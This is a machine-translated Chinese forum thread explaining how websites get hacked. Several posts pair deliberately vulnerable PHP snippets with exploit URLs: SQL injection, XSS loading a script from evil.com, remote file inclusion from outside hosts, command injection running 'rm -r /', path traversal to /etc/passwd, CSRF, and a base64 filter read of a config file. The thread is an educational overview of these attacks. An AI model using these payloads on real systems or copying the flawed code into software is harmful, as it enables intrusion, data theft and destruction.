骇客如何运作？

#1 楼

仅通过更改URL即可工作的黑客

一个合法的例子和一个恶意示例
某些示例需要URL编码才能起作用（通常由浏览器自动完成）

SQL注入
代码：

$username = $_POST['username'];
$pw = $_GET['password'];
mysql_query("SELECT * FROM userTable WHERE username = $username AND password = $pw");

example.com/?username=Administrator&password=legalPasswordThatShouldBePostInsteadOfGet
example.com/?username=Administrator&password=password' or 1=1--

跨站点脚本（XSS）
代码：

$nickname= $_GET['nickname'];
echo "<div>Your nickname is $nickname</div>\n";

利用（注册者在BeEF中以僵尸身份访问用户）：

example.com/?nickname=Karrax
example.com/?nickname=<script src="evil.com/beefmagic.js.php" />

远程代码执行
代码（Tylerl的示例）：

<? include($_GET["module"].".php"); ?>

example.com/?module=frontpage
example.com/?module=pastebin.com/mymaliciousscript

命令注入
代码：

<?php
echo shell_exec('cat '.$_GET['filename']);
?>

exploit（尝试删除根目录中的所有文件）：

example.com/?filename=readme.txt
example.com/?filename=readme.txt;rm -r /

代码注入
代码：

<?php
$myvar = "varname";
$x = $_GET['arg'];
eval("$myvar = $x;");
?>

利用漏洞（注入phpinfo（）命令，该命令将显示非常有用的攻击）屏幕上的信息）：

example.com/?arg=1
example.com/?arg=1; phpinfo() 

LDAP注入
代码：

<?php
$username = $_GET['username'];
$password = $_GET['password'];
ldap_query("(&(cn=$username)(password=$password)")
?>

利用（登录时不知道管理员p密码）：

example.com/?username=admin&password=adminadmin
example.com/?username=admin&password=*

路径遍历
代码：

<?php
include("./" . $_GET['page']);
?>

利用（获取/ etc / passwd）：

example.com/?page=front.php
example.com/?page=../../../../../../../../etc/passwd

重定向/转发攻击
代码：

 <?php
 $redirectUrl = $_GET['url'];
 header("Location: $redirectUrl");
 ?>

example.com/?url=example.com/faq.php
example.com/?url=evil.com/sploitCode.php

失败限制URL访问
代码：

N/A. Lacking .htaccess ACL or similar access control. Allows user to guess or by other 
means discover the location of content that should only be accessible while logged in.

利用：

example.com/users/showUser.php
example.com/admins/editUser.php

跨站点请求伪造
代码：

N/A. Code lacks page to page secret to validate that request comes from current site.
Implement a secret that is transmitted and validated between pages. 

exploit：

Legal: example.com/app/transferFunds?amount=1500&destinationAccount=4673243243
On evil page: <img src="http://example.com/app/transferFunds?amount=1500
destinationAccount=evilAccount#" width="0" height="0" />

缓冲区溢出（技术上是通过访问URL，但通过metasploit实现的
代码：

N/A. Vulnerability in the webserver code itself. Standard buffer overflow

Exploit（Metasploit + meterpreter吗？）：

http://www.exploit-db.com/exploits/16798/

#2 楼

（当前）最常见的方法是通过PHP应用程序中的漏洞。可以通过多种方法来实现此目的，但这是一个简单易行的方法：

想象一下，毫无戒心的网站所有者决定在其代码中使用快捷方式，这样http://example.com/site.php?module=xyz实际上首先会加载一些模板外壳并然后运行“ xyz.php”以填写内容。因此，也许他写了这样的东西：

<h1>My Awesome CMS</h1>
<? include($_GET["module"].".php"); ?>
<p>See what I did there? Wow that was clever.</p>

然后，黑客使用以下URL访问该站点：http://example.com/site.php?module=http://malicio.us/evilprogram

现在，而不是加载他的本地脚本PHP熄灭并下载http://malicio.us/evilprogram.php并执行它-运行攻击者想要的任何PHP代码。也许发送垃圾邮件，也许安装后门外壳，也许在配置文件中搜索密码。

字面上有成千上万种黑客入侵网站的方法，每种方法都非常新颖。几乎在所有情况下，他们都涉及一个程序员，他们没有考虑过程序的所有可能输入以及他们可能产生的意外影响。

#3 楼

有两种查看方式，您可以专注于服务器本身，也可以专注于服务器正在运行的Web应用程序。

作为服务器，它可以具有运行服务的开放端口可以连接并访问服务器。通过使用已知漏洞，您可以获取root用户访问权限。例如，某些用于Unix的FTP服务器具有可被Metasploit之类的工具利用以获取根shell的漏洞。

作为应用程序，有太多方法可以利用编写不良或配置错误的应用程序。例如，如果将SQL查询作为GET传递，则实际上可以操纵URL本身以执行SQL Injection攻击并转储整个数据库。例如（取决于站点的编码）：
http://www.mydomain.com/products/products.asp?productid=123 UNION SELECT用户名，密码来自用户

同样，您将涉及一个广泛的主题，希望这些可以帮助您集中精力进行下一步。

#4 楼

简短答案

这可能不是正确的问题。

...黑客...

...是社会工程师。
/>
他们对人与人的互动比与计算机的互动更感兴趣。黑客宁愿您将密码交给他，也不必强行使用它。

...正在寻求知识...

...并且知道知识就是力量。黑客比实际使用它更感兴趣于获取您的信用卡号。

...以道德为借口...

...不是一个原因。这就是为什么许多黑客会利用以道德为导向的政治事件进行公开的原因。他们知道他们可以利用道德在公众眼中为自己的行为辩解。

...除非他愿意，否则他不会被抓住。

大多数时候。只是在不考虑隐身或匿名的情况下直接跳进去的Wannabe黑客在黑客社区中被称为“脚本小子”或“滑子”。最有可能比黑客更多地犯规，这很可能是您最大的烦恼。

...不需要任何特殊工具或后门。

您提供的前端可能就足够了。

长答案

您可以保护自己免受Metasploit中的攻击。黑客会直接走进前门-即使不是真的，也只是字面上的意思。

您想要的答案

就像人们不喜欢答案一样我所给的就足够了，我会按照您想要的方式再给您一些东西。

黑客喜欢保持匿名。任何攻击的第一步都是将一系列代理（例如SOCKS代理，僵尸或只是构成僵尸网络的简单僵尸）串联在一起。有几种方法可以解决此问题，但是为了讨论起见，让我们给出一些死的代理。前往pastebin.com并搜索8080。这是Web代理的常见端口。向下滚动结果，直到找到IP地址列表，然后单击以查看结果。您应该拥有一长串的Web代理。我可以保证，即使不是全部，大多数也会死。抱歉，这不是黑客教程。

下一步是收集有关目标的看似琐碎的信息。黑客使用他的代理运行portcans，然后探查他发现的任何服务。有网站吗？让我们来探索它。有一个MySQL服务器？让我们看看它是什么版本。运行SSH？让我们看看它是否接受文本密码或仅限于证书。

然后，黑客坐下，查看他所收集的内容，并确定系统的最弱点。根据系统的大小，他可能会回头再进行更多的探查，如果有更多的探查，并且他觉得自己还没有获得足够好的弱点。弱点不必一定是真正的安全“漏洞”：它必须是最弱的环节。也许您的FTP服务器无法防止重击（重复登录尝试）。也许您的Web服务器上有一堆表格或可能被利用的URL。这些值得进一步研究。

如果有必要，攻击者可能会编写脚本或程序来进行最终攻击，尽管并非总是如此。大多数弱点都可以利用现有工具加以利用，因此对于现代黑客而言，这通常是不必要的。但是，黑客有时会发现软件中的新安全漏洞，在这种情况下，他们有时需要编写特殊的工具来利用所述软件。

显而易见的攻击程序的一个很好的例子是，该程序被用来在名为Terraria的游戏上引起服务器故障。这不是其最初的目的，但是因为它确实暴露了服务器软件中的各种漏洞，所以它确实倾向于被其他人使用。我用C＃编写的。源代码可在GitHub上获得。该漏洞利用字节码操作来修改现有客户端以发送恶意数据。服务器不希望该数据，并且会以其无法正常工作的方式做出反应。发现像这样的漏洞利用程序可以像对目标软件进行逆向工程一样简单-我之所以说很简单，是因为使用C＃和Java等现代反射语言，这已变得越来越容易。只需单击一下按钮，.NET Reflector（收费）和dotPeek（暂时免费）等程序就可以实现此目的。然后，受过充分训练的C＃程序员可以观察代码，确定其功能，并编写程序来更改此功能。

#5 楼

我的一个朋友有一份合同要在一个网站上工作。在他这样做的同时，他发现黑客进入了网站并做了他不喜欢的事情。在查看了一些日志文件后，他注意到“黑客”通过搜索mysql错误找到了该站点。

当您能够注入sql时，您可以做任何想做的事情，例如创建一个帐户。如果您可以上传文件（尤其是php），则可以执行它。如果可以执行它，即使没有在linux / windows服务器上的帐户，也可能造成更大的破坏，例如在服务器文件系统上读取/写入文件。

另一种技术正在侵入数据库，寻找使用密码（尤其是未进行哈希处理）时，尝试建立到该站点相同ip地址的ssh或ftp连接并尝试使用用户名/密码组合。

此外，您也不需要闯入服务器被黑客入侵。我遇到的一个人告诉我一个故事，他的服务器上如何安装过时的软件。攻击者使用它上载并执行他们自己的php文件，该文件向每个index.php和index.html文件中注入了一行代码（以添加iframe）。基本上没有人能够访问该站点。它要么重定向，要么弹出很多窗口。

#6 楼

我们有多少次没有密码或“ Joes”的登录信息？不需要Metasploit知识或任何真正具有异国情调的知识就可以进入前门。有点像在寒冷的早晨坐在车道上的行驶中的汽车“请偷走我”。

#7 楼

仅举几个例子供您考虑。

下面是泰勒的例子：

<?php
   if ( isset( $_GET[ 'id' ] ) ) include( $_GET[ 'id' ] . ".php" );
?>

攻击向量：

http://victimsite.com/?id=php://filter/read=convert.base64-encode/resource=includes/configure

由于缺乏任何安全编码，这是一个包含base64攻击的本地文件，攻击者几乎可以读取以[.php]结尾的站点或服务器上的所有文件，在这种情况下，读取configure.php文件的文件内容，PHP返回整个文件内容的base64_encode，可以很容易地将其解码回可读的文本。

格式错误的URL不必寻求输入安全性验证漏洞。

在许多Web电子商务站点中，$ PHP_SELF代码错误报告了文件名，其中yoursite.com/admin/administrators.php、$PHP_SELF将文件名报告为administrators.php，但是如果login.php是像admin / administrators.php / login.php这样附加的，然后$ PHP_SELF误报login.php为文件名而不是administrators.php。

因此，例如，如果管理会话验证qu在这个令人振奋的示例中要求输入以下内容：

*如果（不是有效的管理会话）和（$ PHP_SELF不是= to login.php），然后重定向到login.php *

该页面永远不会重定向到login.php，因为$ PHP_SELF错误地报告了真实的文件名，因此攻击者无需正确的凭据即可访问administrators.php文件。